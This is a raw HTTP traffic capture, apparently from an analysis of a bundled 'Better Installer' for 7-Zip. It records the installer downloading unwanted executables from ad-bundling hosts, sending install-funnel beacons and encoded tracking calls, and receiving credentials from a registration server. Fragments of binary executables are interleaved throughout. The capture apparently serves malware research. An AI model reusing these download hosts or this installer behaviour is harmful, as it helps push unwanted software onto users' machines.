<?xpacket end="r"?>O9.j.. tIDATx..]...U.>..z.g&.dB.........DQ
Q..P?.]..V...2....j..ovM.]?.UID].\Hv.|..%....`..C...B.........}V......
.......IU.t..u.....{..d.L.Nb.......l..ocF.y.v1.T.}j.<..FW.aJ..@ ...
.A..`v.....Bf. <~."......g2H..@ ...RG..I.o....s......l\..Y..xT..Mj.
[email protected]{/[email protected]<.........@.
B ..$.rX..c..a.n..'....JA....v.mS.......f[N\. 8..W`d.g6...-.aw..0...0H
=.Y[....1.&...C#i!.......<...>.2.B.....vFT'...8'...&.0eE.A....VV
....$WH....O...7...y......(Sb4J}mb.%f."i!......[.. .3.d.....M.. ......
...b.K.......$0...U...8i.TnA.7.I.......0.{. ..X.Qf.`.uf#HZ...13I..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=72933-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:53:20 GMT

Date: Thu, 08 Jan 2015 04:53:20 GMT

Content-Range: bytes 72933-583463/583464

Content-Length: 510531

Connection: keep-alive
[email protected])...) ...M.cPT8.l.m,...a2QH.Z.iT%
..I..$c5...>.l.(.G.h........KbN}..s.6....h...R...$-..Xe..\......  3
.i..y.Q7..*..t..b...h._.K ,r....CL...ff....A.X.r....PGbph.[=J.....l...
.0.J......u>.>"....'...8...[..8,...O.kSP..y.Ab"..:F*..Ht.'..Fj..
BH&.........T. \...-........-.n?.qh.........>k....!...........t..V.
Y..8.~uU...@.[.mcM.$~..(%.~.aw.....k....Y..'.k..E^g.B.Jd..v.....=!.SBQ
6....._<J...y.......n..=.AmT.v.q..."...&..<.G...1......sc.}.O..&
3.>.,.kw...f..b.'....OvJ|P.a....,[email protected]`V.......F
..a.Y.....[.3R...3L.G.........gYw..&....B..........9./....7.WYgF!....C
.....6.T....Ak.K.....E.0....S.\...1o.x\....s.....g.....d.......84....4
.....b..mK....P.g...z..9.&Xf.p.g..N%.Z.BA..xw......G.....}..Q..s.....m
 $O.b...T...\.....A.t(_.y..#...G.....ZM..U...EK8.^..l.....A.O..stm.*^.
..........`,OD..w......m..',~.......d..e.N.....XY.l[.0"3..V.....M.O1.X
oV....gKCjh...../..6.Dm/....2J.us, ...}.e.dd.`a.....l....,...,Q5`.N...
{..|C.7R. 5....T.. W.".\ .0~4......4.7......o._.AV-DvS.mV. ....;9].Q/.
....7u.S.F.S.u{ ..........X......l.#.f....A....zE(.ZW3..W......M...k..
.c_....rI.4.:]....u.osZ%...........f..qt....).1..O.../...Q.1/.r..<X
.g^=..i.."(.}9..*..3r...K.X..1.<L..#8.....~....``..f..,..J.......#.
2&,2Dd..*.P....K.)..(...G.P...!.k..3.&e.eU.27..".Ka|Y<[email protected]
.....#c...0.$.:.].w.....D.h......^.C..z...?."....Z?g2...ndT9\.aSA._.F1
.....A.........d.=k.......?/..?..g..f...N,#S....../.|Aq.. .yP.Fx....o.
.P.$...S.....[F........OG.].h'F:.....k......j...Y....N z..)...<<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=154160-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:16 GMT

Content-Type: application/octet-stream

Content-Length: 154160

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:52:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 154160-308319/308320
g.........t...]....2........U...E.3...t.=....w...P.*g.........t...]...
......U.....S.].VW...U..G...........?........}..M..W.;.s..G.......G..@
... .;.rV3...t..U..].......D..A;.r..]..W....0....~?;.s!.E.....E..M...8
......E...@..@;.r..}.3...3...3. .t..U....48....D..A;.r._^[..].........
....U......P...3..E.SVW....3..W..d$.....D5...B..D5...B..D5...B..D5....
.R....r..G......?.8.....8r..x... .Q............j..U............S..G...
[email protected]._^3.[..^....]..
..U....\[email protected]..........$......P.
[email protected]..}..u...#.....#....U..E..x.j.....
.......#...#....M...V..............#...#....M....p $...........#...#..
..M................#.....#.......|..M..............#.#.....*..G.M.....
.......#...#......F0..M............#...#.......F..M..........#.....#..
......i.M..........#.....#.......D..M............#...#......[...M.....
.........#.#.......\..M..............#.#....."..k.M..}............#...
#....}....q..........]..U..}.....#...#....]..E...Cy.......E...#.......
#M..!..I...}..M.....#......#....u..E..b%......@.@.#........#....U.....
.....#..U.....VWhH...3.hX....u..E......E....... @[email protected]!.E.
[email protected][email protected]%.E.P.u..E
[email protected]...@.._..^..]...........U....$.P..
.3..E.SVW...E.......u j..F......V.h.......x....._^[.M.3..kU....]..:..E
......E......E..u.3......y....I...A..u. .QR.M..-....U.3...tI.}..].....
E..C....<0|.<9~*<A|.<Z~"<a|.<z~.<-t.....E..C.<<< skipped >>>

GET /ga.js HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Thu, 08 Jan 2015 03:14:18 GMT

Expires: Thu, 08 Jan 2015 05:14:18 GMT

Last-Modified: Thu, 13 Nov 2014 21:10:00 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 16068

Age: 5872

Alternate-Protocol: 80:quic,p=0.02

Cache-Control: public, max-age=7200
...........}kW.:..w~....c...pk..f....--..M..dY.!Wb.KK.o.gF.-'..9...vob
{t..Fs..O.".........9..@.#......?... e!...qg.I...A"..N_.').x.I........
.I.Dr6}...|$].B..X...`...Ao.. .fQ.....x8..\..8....a..0............{...
a}x.W|..:l..}.. ...u4....#.%O.AO....k.N[..a....&....tx..;.....'..:.N!y
..Gg....9..a...7....cH>.bw...0..a.a..p5.1d.o|4.=8l.1&.D..,.X.5f..`.
..s.....[....&p:.H.........x......A.9h#.^..>.  ...:...N...,H.1...;.
....b..&a.;....o;.b......v.....N.wr..... ...z.......o..,Wjj8......j.r.
/.Y..RI.6.(........T....Dq....l.0.c.[1.o..h.R....ju..........,;...i...
.^.....T....|tV.L....;..i^S...-q........[Wup...~.......}.r .W.x..{-...
Cd..k.V....A..^;.n...?.N...^.|..bc{.._...h.w=...f..}.U}...|...........
[..62...Q....Cw.EV1..>..`..Q.cC.`..0...\v.:.'.....L.$.1.\O.C.......
.B..A^2b..<..%....A%|.E...@N:I*.Y5.A.F.."h..... .^Y)|..L.2D...pqYc.
......@..#Y(...J..#w...S.....70.. .;...Y....3..k.........@....&c..J.;.
...Q....R5.M...x.=`.<.f.U....C.{..>....{...t.....i>..Yk..@e..
v.Cf5........o`.Z..V.....V)..9.....^u...X.....}.N.O....~...-......D..V
.2o.F.......,Le.."J9.....k...r...#.w.i.!.......oe...a..QA.u.......4.X.
...{5...Vs..t.0. ...n<..j.y...`-^....uBtf.Gu. S[[.YU...T.._.lP.....
(o@=1.-N....?....V>&."...'..d..:.sS..Kq....].UySz5..3..$.<.{..".
%.Iar\Y.WVt\....;[email protected])....x.7k..T..Di..T....
..q..4.5..h....N...... T;.T5SB=.f0.....k............Vh..E.b...Dz....V.
...u....5...F...A...CX7.e..R9.....Ym5..e|......5..-..]W.u..H...m..J.5k
..nT...t!...._|.{<I..!F...j{..-..........).s~g.j....$T.-!.....Z<<< skipped >>>

GET /r/__utm.gif?utmwv=5.6.1&utms=1&utmn=2027506505&utmhn=bi.bisrv.com&utmhid=2022498955&utmr=-&utmp=Installer_Init&utmht=1420692710504&utmac=UA-31676879-1&utmcc=__utma=1.1332783022.1420692710.1420692710.1420692710.1;+__utmz=1.1420692710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=818646258&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Thu, 08 Jan 2015 04:52:10 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02
GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Thu, 08 Jan 2015 04:52:10 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;....


GET /__utm.gif?utmwv=5.6.1&utms=2&utmn=541658946&utmhn=bi.bisrv.com&utmhid=2022498955&utmr=-&utmp=Offer_Accepted&utmht=1420692760280&utmac=UA-31676879-1&utmcc=__utma=1.1332783022.1420692710.1420692710.1420692710.1;+__utmz=1.1420692710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Mon, 05 Jan 2015 21:27:22 GMT

Server: Golfe2

Content-Length: 35

Age: 199538

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Alternate-Protocol: 80:quic,p=0.002
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Mon, 05 Jan 2015 21:27:22 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 199538..Cache-Control: private, no-cache, no-cache=Set-Coo
kie, proxy-revalidate..Alternate-Protocol: 80:quic,p=0.002..GIF89a....
.........,...........D..;....


GET /__utm.gif?utmwv=5.6.1&utms=3&utmn=1177964131&utmhn=bi.bisrv.com&utme=8(sp_slug)9(youtubeaccelerator)&utmhid=2022498955&utmr=-&utmp=Install_Complete&utmht=1420692775010&utmac=UA-31676879-1&utmcc=__utma=1.1332783022.1420692710.1420692710.1420692710.1;+__utmz=1.1420692710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Mon, 05 Jan 2015 21:27:22 GMT

Server: Golfe2

Content-Length: 35

Age: 199552

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Alternate-Protocol: 80:quic,p=0.002

GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Mon, 05 Jan 2015 21:27:22 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 199552..Cache-Control: private, no-cache, no-cache=Set-Coo
kie, proxy-revalidate..Alternate-Protocol: 80:quic,p=0.002..GIF89a....
.........,...........D..;..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 3472

X-Cache: Hit from cloudfront

Via: 1.1 12b9ffa1142d5a36277905dd14dd78dd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 1dg8bqMgZVSpfYU0ttzULSmld6ns_lc1XEiYviuC46pOU1A4p5Iquw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:20 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:16 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:52:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-308319/308320
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@[email protected][email protected].....
.......>..............@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^].................U...E..U....H.].................U........U..u.R.P..
U..H.;J.u...;.u.....]...2...]................U...E.;H.u...;E.u...]...2
.]........A............U..QV.u..E...........u.........A..E..F......F..
.......:.u.3.QR.........^..].....W.y...A..u. ._QR...y.....^..]......A.
...........U..Q.E.V.u..E........u(j..F......F.....h..A.......*.....^..
]...PV.:.....^..].....(.A............U..QV.u..E......Y....u.......<<< skipped >>>

GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Connection: close

Date: Thu, 08 Jan 2015 04:53:16 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=jz1e1q45ikgezlf1wzoex5uz; path=/; HttpOnly

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 98
<RESULT>.<USER>.<ID>8633e8ff-d126-44fc-b616-75bd1c6b
b147</ID>.<PW>UR5lCzgR</PW>.</USER>.</RESUL
T>...

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=142780-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 142778

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 142780-285557/285558

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 3a8fb6bd2920a51ec18c3a4f0c1b5cdb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _yBbSEd-P64pmoYq_Bau-gOKBc0Lf9ex-HrNT71XCxIHyCAEWQDIbg==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{[email protected]&'f.5|@d..0...>X...Iq2<<< skipped >>>

GET /p.ashx?e=PcwT4QFtuPBPNjxRBLtb49RDbIMDlEm8/WD6e6SZIIHeyzV7AofXlvpVi1LU/zm/OEn77aY2R7O4gc8YM9gzsdaoPZj94HyTzprDiolRFccz/yeZN BbCCmF904v4t2DaVtcL0PMGkj3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: j5cnk_CIA7kj49VHcwUVfTy-ujRfPrIuEvzCP2-MPoW4yh8b39eXKQ==

....

GET /p.ashx?e=hpY1rXLYst5PNjxRBLtb41xlbi7ZOCjl/WD6e6SZIIExLHUkaU066zsPf/PibBcqj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PR0gYZFzD/Ro8FNKRKreUMO333RAvM0VMDfE/ OuNytPyvTet81FAwHjgb6v7cXpPvFETdes9rP1NMG9E/tRz/bjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: maF-ovhsgYQZjcn-OEwOamL1s8PxVO2i9HBdm0jJ1j64aNpQsjfGbg==

....

GET /p.ashx?e=hpY1rXLYst5PNjxRBLtb41xlbi7ZOCjl/WD6e6SZIIExLHUkaU066zsPf/PibBcqj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PR0gYZFzD/Ro8FNKRKreUMO333RAvM0VMCn6YLYg8vr7 xHF95KOCt7DNmmGug8UNyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS R4bC28dP4Ks1ZCaZW5TJDB65GYQDzEPF1mlT9 7x7vkYuZe x/VfM= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: D5j4mNXiUeeRDPgNrOxF5idGw3Me0uf9M7nbB_QnYO-JstraCm4t_g==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUZR0WuEl7dbF0kOkPP/ lcpu8eAfWsOK5ZLOhm7KiO348MKRqZY TBH6dnj3H5nABveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLNH39Z/JQDSULN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR9k3ly07joAI= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: sKvUkmj-BVGnyevUQ-CHZ-3EzkpoMqu_iUCaIjGAIlc0T1ZsijteIw==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUbqfIekNLhs5jgb6v7cXpPsfukqxdW6Kzzz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0V1xu7KMyWvkL2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2qxIuLfE9QOuDcI4BI3IQ7Vhwj8NsVNwNkIzqnJdgYVZ4qxOlJ8vXHBc1Nyo6/HRxg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GiJnUWeZwzzIzgMcz_x_YBg2WnKSRhdEZdZhrO5n-LbsTkhljN71CA==

....

